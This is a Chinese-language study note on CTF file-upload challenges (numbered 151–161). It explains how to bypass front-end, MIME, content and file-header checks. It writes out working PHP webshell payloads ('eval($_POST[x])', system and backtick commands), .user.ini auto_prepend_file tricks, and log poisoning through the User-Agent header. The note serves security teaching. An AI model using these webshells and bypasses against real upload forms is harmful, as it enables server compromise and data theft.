#知识点:
1、文件上传-前端验证
2、文件上传-黑白名单
3、文件上传-user.ini 妙用
4、文件上传-PHP 语言特性
#详细点:
- 检测层面:前端,后端等
2、检测内容:文件头,完整性,二次渲染等
3、检测后缀:黑名单,白名单,MIME 检测(文件类型后缀)等
4、绕过技巧:多后缀解析(PHP5),截断,中间件特性,条件竞争等
#本章课程内容:
1、文件上传-CTF 赛题知识点
2、文件上传-中间件解析&编辑器安全
3、文件上传-实例 CMS 文件上传安全分析
#前置:
后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)
如:jpg 图片里面有 php 后门代码,不能被触发,所以连接不上后门
文件上传-CTF 赛题知识点
151 152-JS 验证+MIME
Content-Type: image/png
通过源代码查看,得知此验证为前端验证
通过前端更改对应参数,发现成功上传.gif
因此以JS验证为注入点,修改白名单为.php传入后门
<?php eval($_POST[x]);?>
用工具或者利用POST传递参数(system(‘’)),对其进行获取flag
152.
MIME验证:会根据文件的后缀,去判断文件的类型从而进行验证——后端代码
将其C-T参数更改,上传成功
153-JS 验证+user.ini
参考:https://www.cnblogs.com/NineOne/p/14033391.html
.user.ini auto_prepend_file=test.png
test.png:<?php eval($_POST[x]);?>
与.htaccess绕过类型,只不过.user.ini适用于php语言,而.htaccess绕过适应于Apache
思路:
首先.user.ini 是一个自定义的php.ini配置文件,一般在任何一个与php相关的网页都会存在此配置,是一个能被动态加载的ini文件,通过在主目录中创建.user.ini
文件,并在其中定义特定的 PHP 配置选项,用户可以对其网站或应用程序的 PHP 环境进行个性化设置auto_prepend_file=test.png 相当将一个文件包含,这里我们就可以放payload进去,将图片马传上去,再访问index.php,注意是上传目录下的index.php,执行任意命令即可
解释“前置”:可以利用漏洞或错误配置来绕过文件格式限制。这可能会使得一些解析器错误地将图片文件识别为脚本文件,从而导致恶意代码的执行。
再加入后台文件
154 155-JS 验证+user.ini+短标签
当在图片中输入后门,发现不行时,那可推断此时为内容检测
得知它将<?php进行限制:
1.<? echo '123';?> //前提是开启配置参数 short_open_tags=on
2.<?=(表达式)?> //不需要开启参数设置
3.<% echo '123';%> //前提是开启配置参数 asp_tags=on
4.<script language=”php”>echo '1'; </script> //不需要修改参数开关
155.
.user.ini:auto_prepend_file=test.png
test.png:<?=eval($_POST[x]);?>
与上两题结合即可,利用.user.ini,去触发1.png,1.png中还需内容过滤
156 JS 验证+user.ini+短标签+过滤 :同理
.user.ini:auto_prepend_file=test.png
test.png:<?=eval($_POST{x});?>
157 158 159 JS 验证+user.ini+短标签+过滤
使用反引号运算符的效果与函数 shell_exec()相同
.user.ini:auto_prepend_file=test.png
发现它的过滤是将分号和php过滤
test.png:<?=system('tac ../fl*')?>
test.png:<?='tac ../fl*'?> ——反引号
test.png:<? echo `tac /var/www/html/f*`?>
160 JS 验证+user.ini+短标签+过滤
包含默认日志,日志记录 UA 头,UA 头写后门代码
日志文件:记录访问的地址和访问的信息和访问的UA头,我们将UA头改为payload,UA头流入日志文件中,再利用/user.ini去包含日志文件,去触发UA头中的payload
日志文件是根据中间件去决定:此时分析数据包得知是Nginx
.user.ini:auto_prepend_file=test.png
test.png:<?=include"/var/lo"."g/nginx/access.lo"."g"?>
做了.user.ini文件配置之后,访问upload的情况——包含了日志文件,故显示出日志文件的内容
此时我们只要对其网页进行访问,日志文件就会记录我们的访问信息
通过抓包对参数进行修改得知,上传成功
161 JS 验证+user.ini+短标签+过滤+文件头
文件头部检测是否为图片格式文件
.user.ini:GIF89A auto_prepend_file=test.png
test.png:GIF89A <?=include"/var/lo"."g/nginx/access.lo"."g"?>——做了过滤处理
前端验证文件内容头部信息
.jpg的文件头
.gif的文件头部
.png的文件头部